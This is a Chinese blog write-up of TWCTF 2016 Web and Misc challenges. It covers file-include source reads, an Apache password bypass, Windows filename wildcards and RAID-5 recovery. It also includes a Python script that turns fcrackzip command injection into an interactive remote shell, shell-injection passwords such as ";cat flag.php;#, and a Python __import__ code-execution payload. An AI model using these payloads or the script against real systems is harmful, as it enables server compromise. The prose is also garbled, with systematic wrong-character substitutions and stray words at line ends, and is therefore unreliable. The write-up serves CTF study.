灑家近期參加了 Tokyo Westerns / MMA CTF 2nd 2016(TWCTF) 比賽,不得不說國際賽的玩法比國內賽更有玩頭,有的題給灑家一種一看就知道怎麼作,可是作出來還須要灑家拍一下腦瓜的感受。總之不少題仍是頗有趣的,適合研究學習一番。php
如下是灑家作出來的幾道小題,類型僅限Web和Misc,給各位看官參考。html
關於:前端
T3JpZ2luYWwgQXJ0aWNsZTogd3d3LmNuYmxvZ3MuY29tL2dvMmJlZC8
Warning: include(tokyo/zh-CN.php): failed to open stream: No such file or directory in /var/www/globalpage/index.php on line 41
Warning: include(): Failed opening 'ctf/zh-CN.php' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/globalpage/index.php on line 41
這就說明 http://globalpage.chal.ctf.westerns.tokyo/?page=ctf 中$_GET['page'] 表明目錄,Accept-Language中的語言表明目錄下的文件名部分。python
直接訪問/flag.php 和 用 /?page=ctf Accept-Language: ../flag 並無輸出。git
進一步探測: /?page=to.k/yo 仍然正常顯示,說明$_GET['page']刪除了 . / 符號,並自動在末尾添加 / 。github
通過一番嘗試,灑家忽然發現報錯信息裏面include()路徑開始部分並無其餘東西,那麼就可使用php://協議讀取源碼。web
base64解碼便可。shell
一樣的方法,固然能夠讀取index.php 的源碼apache
<?php ini_set('display_errors', 1); include "flag.php"; ?> <!doctype html> <html> <head> <meta charset=utf-8> <title>Global Page</title> <style> .rtl { direction: rtl; } </style> </head> <body> <?php $dir = ""; if(isset($_GET['page'])) { $dir = str_replace(['.', '/'], '', $_GET['page']); } if(empty($dir)) { ?> <ul> <li><a href="/?page=tokyo">Tokyo</a></li> <li><del>Westerns</del></li> <li><a href="/?page=ctf">CTF</a></li> </ul> <?php } else { foreach(explode(",", $_SERVER['HTTP_ACCEPT_LANGUAGE']) as $lang) { $l = trim(explode(";", $lang)[0]); ?> <p<?=($l==='he')?" class=rtl":""?>> <?php include "$dir/$l.php"; ?> </p> <?php } } ?> </body> </html>
Today, our 3-disk NAS has failed. Please recover flag.
deadnas.7z編程
Hint 1: The NAS used RAID.
Hint 2: RAID-5
crashed :-(
灑家一開始嘗試了多種RAID-5類型和塊大小,後來發現瞎JB試也不行,直接十六進制查看器看數據塊在多小尺度上有明顯邊界。
以下圖所示,3FF0 到 4000 之間有明顯邊界,說明塊大小最大爲0x4000 / 1024 = 16K。一開始灑家嘗試的512K是明顯錯誤的。而最終的塊大小爲512B,這一點固然可能也能夠從16進制編輯器中看出來。
灑家最後貼張flag:
喲呵,還真是MongoDB。
須要密碼,那就用個二分法。代碼太醜灑家就不貼了,效果如圖:
Read the first poem.
http://poems.chal.ctf.westerns.tokyo
Server: Ubuntu 16.04 + Apache2
Hint1:(2016-09-04 11:05 UTC)
Hint2:(2016-09-04 17:02 UTC)
這題頗有趣,在沒放hint的時候就作出來了,灑家感到賊開心。主要用到了Apache的htpasswd繞過,URL重寫等。一開始灑家找到了一個任意文件(除了最關鍵的list.txt)讀取漏洞,後來發現徹底走了彎路。
題目給了源碼,又是喜聞樂見的Slim框架。主要後端邏輯在/src/routes.php。
主要的保存用戶發送的Poem邏輯是:
發送的name和poem被json_encode() 儲存在/poems/data/中,文件名爲隨機的16進制的文件中。文件名集中儲存在/poems/list.txt。題目目標是讀取第一篇Poem。因爲文件名不可預知,必須先讀取list.txt。
另外含有 /admin,PHP代碼中沒有任何防禦 ,可是實際訪問的時候要求密碼。這是在Apache中設置的。
check_poem_id()保證了沒法經過 GET /poems?p=../list.txt 讀取 list.txt。然而上圖中除了check_poem_id()並無對 $poem_id進行其餘的檢驗,所以能夠讀取任意其餘文件(不能是json格式,不然會被看成poem文件解析顯示):
讀取 /etc/passwd
想到上文所述/admin密碼問題,讀取/etc/apache2/sites-enabled/000-default.conf
讀取 /etc/apache2/htpasswd ,admin密碼是MD5加鹽的,嘗試破解了很長時間最終也是難度過高破解失敗。
灑家這是開始考慮繞過/admin 的密碼。
思考一番後,忽然想到.htaccess URL重寫,豁然開朗。
RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^ index.php [QSA,L]
之間灑家直接訪問 /index.php/admin, 便可達到訪問 /admin 的效果,同時繞過Apache的密碼
出現flag:
最後看來,這道題源碼中顯而易見的任意文件讀取漏洞的發展方向是無底洞,讓灑家走了很多彎路,最終的解法居然這麼簡單。
Find the secret file.
http://rup.chal.ctf.westerns.tokyo/
Hint1 (2016/09/04 16:31)
這一題文件給的清清楚楚,顯然/uploads/裏面有個文件名沒法預知的文件包含flag。download.php 能夠下載任意文件(除了file_list.php)。那麼就下載一堆東西:
download.php
<?php header("Content-Type: application/octet-stream"); if(stripos($_GET['f'], 'file_list') !== FALSE) die(); readfile('uploads/' . $_GET['f']); // safe_dir is enabled. ?>
第三行大小寫不敏感地過濾,沒法下載包含'file_list'的文件。
讀取index.php,發現flag文件的文件名就在file_list.php中。index.php顯示了3個文件: test.cpp,test.c,test.rb。
代碼很是簡單,貌似堅如盤石。灑家嘗試了一番無果。等等,大小寫不敏感,爲何要用stripos()?
大小寫真的不敏感。原來是個Windows系統。堅如盤石的代碼仍是有漏洞。
灑家使用兼容MS-DOS的8.3短文件名繞過。
答案就很明顯了。
2016年9月18日更新
灑家看老外的Writeup,發現了一種奇技淫巧的解法:
GET /download.php?f=F< HTTP/1.1
這樣能夠直接下載f/F開頭無擴展名的文件。
實驗發現,在Windows系統中, < 符號能夠代替擴展名的一部分,若是沒有擴展名(沒有 . )就能夠代替所有。
例如此目錄下有 index.php
D:\www\test>type "index<" 系統找不到指定的文件。 D:\www\test>type "index<" 系統找不到指定的文件。 D:\www\test>type "index.<" <?php readfile('./FL<'); D:\www\test>type "index.p<" <?php readfile('./FL<'); D:\www\test>type "index.php<" <?php readfile('./FL<'); D:\www\test>type "index.php<<<" <?php readfile('./FL<');
然而網上搜不到關於這個的玩法。真是奇技淫巧。
I saw this through a gap of the door on a train.
灑家看見這題就樂了,題目挺有想法的。直接MATLAB提取全部圖片幀,而後灑家的作法是寫個HTML放滿<img>標籤(懶得再編程了)
————————————
2016年9月16日更新:灑家忙了一陣子亂七八糟的東西,繼續研究沒作出來的題目
here is useful tool for hackers!
http://zipcracker.chal.ctf.westerns.tokyo/
這一題灑家一看就是命令注入,然而搞了半天也沒有注入成功。看了老外的Writeup(https://gist.github.com/baronpig/f6f2a4db993e951cde9ee92db15fc953 ,https://blog.0daylabs.com/2016/09/05/command-injection-zip-bruteforce/)才豁然開朗:當勾選use unzip時,fcrackzip-1.0猜想的可能的壓縮密碼才參與命令注入。灑家一直嘗試的是把命令注入的惡意代碼放到字典裏,然而大概fcrackzip-1.0的原理並非一個一個暴力破解,惡意代碼不被猜想爲可能的密碼就不會發生命令注入。
灑家犯的第二個錯誤是,index.php 存在源碼泄露(.index.php.swp)(好吧,說好的不用掃描器)。灑家是Google了返回的字符串(Possible password: paSSw0rd () 和 Password Found ! pw ==p@ssw0rd)才意識到這不是用unzip暴力破解,而是用了fcrackzip-1.0。
灑家走的一個彎路是:灑家在文件名上作了不少文章,然而命令用的是 tmp_name,此處並不能注入。
用vim recovery .index.php.swp以後,主要部分的代碼以下:
<?php if(!empty($_FILES['zip']['tmp_name']) and !empty($_FILES['dict']['tmp_name'])) { if(max($_FILES['zip']['size'], $_FILES['dict']['size']) <= 1024*1024) { // Do you remember 430387 ? $zip = $_FILES['zip']['tmp_name']; $dict = $_FILES['dict']['tmp_name']; $option = "-D -p $dict"; if(isset($_POST['unzip'])) { $option = "-u ".$option; } $cmd = "timeout 3 ./fcrackzip-1.0/fcrackzip $option $zip"; $res = shell_exec($cmd); } else { $res = 'file is too large.'; } } else { $res = 'file is missing'; } ?>
上文提到的韓國博客中找到了fcrackzip 的源碼:
// main.c int REGPARAM check_unzip (const char *pw) { char buff[1024]; int status; sprintf (buff, "unzip -qqtP \"%s\" %s " DEVNULL, pw, file_path[0]); status = system (buff); #undef REDIR if (status == EXIT_SUCCESS) { printf("\n\nPASSWORD FOUND!!!!: pw == %s\n", pw); exit (EXIT_SUCCESS); } return !status; }
可見漏洞發生在對 fcrackzip 使用 -u 參數時,fcrackzip 會調用 unzip 驗證可能的密碼,驗證時直接拼接shell命令字符串形成命令注入。
由此灑家構造一個密碼爲 ";ls;echo" 的 zip文件,勾選unzip 結果爲:
第一個unzip 缺乏了文件名參數因此顯示了錯誤信息。
那麼搞一個密碼爲 ";cat flag.php;# 的zip,結果以下
獲得flag: TWCTF{20-bug-430387-cannot-deal-files-with-special-chars.patch:escape_pw}
對了,前面PHP源碼提到的430387指的是 https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=430387;msg=19
Debian Bug report logs - #430387
[PATCH] `fcrackzip --use-unzip' cannot deal with file names containing a single quote
灑家改了改 https://blog.0daylabs.com/2016/09/05/command-injection-zip-bruteforce/ 中的腳本,作了個「終端」:
import requests import json import subprocess import os import re def delTmpFiles(): try: os.remove('zipped.zip') os.remove('dict.txt') except OSError: pass def postCmd(cmd): password = '";'+cmd+';#' # password of zip file zipfilename = 'zipfile.zip' #the zip name that gets posted dictfilename = 'dictionary.txt' #the dict name that gets posted dictfilecontents = """password1\npassword12\npassword123\n"""+password+"""\n1\n""" #dictionary file contents unzip = True #print password #print dictfilecontents #password = 'password1' #zips the random.txt file with password into zipped.zip subprocess.call(['zip', '--password', password, 'zipped.zip', 'random.txt','-q']) dictfile = open('dict.txt', 'wb') dictfile.write(dictfilecontents) dictfile.close() url = "http://zipcracker.chal.ctf.westerns.tokyo/" multiple_files = [ ('zip', (zipfilename, open('zipped.zip', 'rb'), 'application/x-zip-compressed')), ('dict', (dictfilename, open('dict.txt', 'rb'), 'text/plain')) ] data = {} if unzip: data['unzip'] = 'on' r = requests.post(url, files=multiple_files, data=data) #print r.text return r.text def getOutput(html): pattern = re.compile(r'if archive file newer\s*(.*?)\s*PASSWORD FOUND!!!!: pw',re.S) result = pattern.findall(html) if len(result) == 1: return result[0] else: print 'fail. Original html: ' print html return '' def main(): with open('random.txt','wb') as f: f.write('abcdefg') cmd = raw_input('>>> ') while cmd != '': print getOutput(postCmd(cmd)) delTmpFiles() cmd = raw_input('>>> ') os.remove('random.txt') if __name__ == '__main__': main()
2016年9月18日更新:灑家忙了一陣子亂七八糟的東西,繼續研究沒作出來的題目
本題參考資料: https://blog.0daylabs.com/2016/09/05/code-execution-python-import-mmactf-300/
灑家研究了半天也沒發現漏洞,直到看了老外的博客才恍然大悟:
__import__ 函數的順序問題。
若是 有 /aabb/__init__.py 和 /aabb.py, __import__('aabb') 會優先去搜索幷包含前者。
所以上傳 一個 __init__.py (前端驗證限制文件類型,輕鬆繞過)到 md5(用戶名) 目錄,當
config = __import__(h(session.get('username')))
時就會執行任意Python命令。因爲 import 時須要 imgs 列表,老外的作法是:
x = __import__("subprocess") imgs = [] imgs.append(x.check_output('cat flag', shell=True))
固然灑家也能夠這樣搞:
imgs = [] fflag = open('flag','rb').read() imgs.append(fflag)
效果是隻剩下一張圖片,文件名就是flag。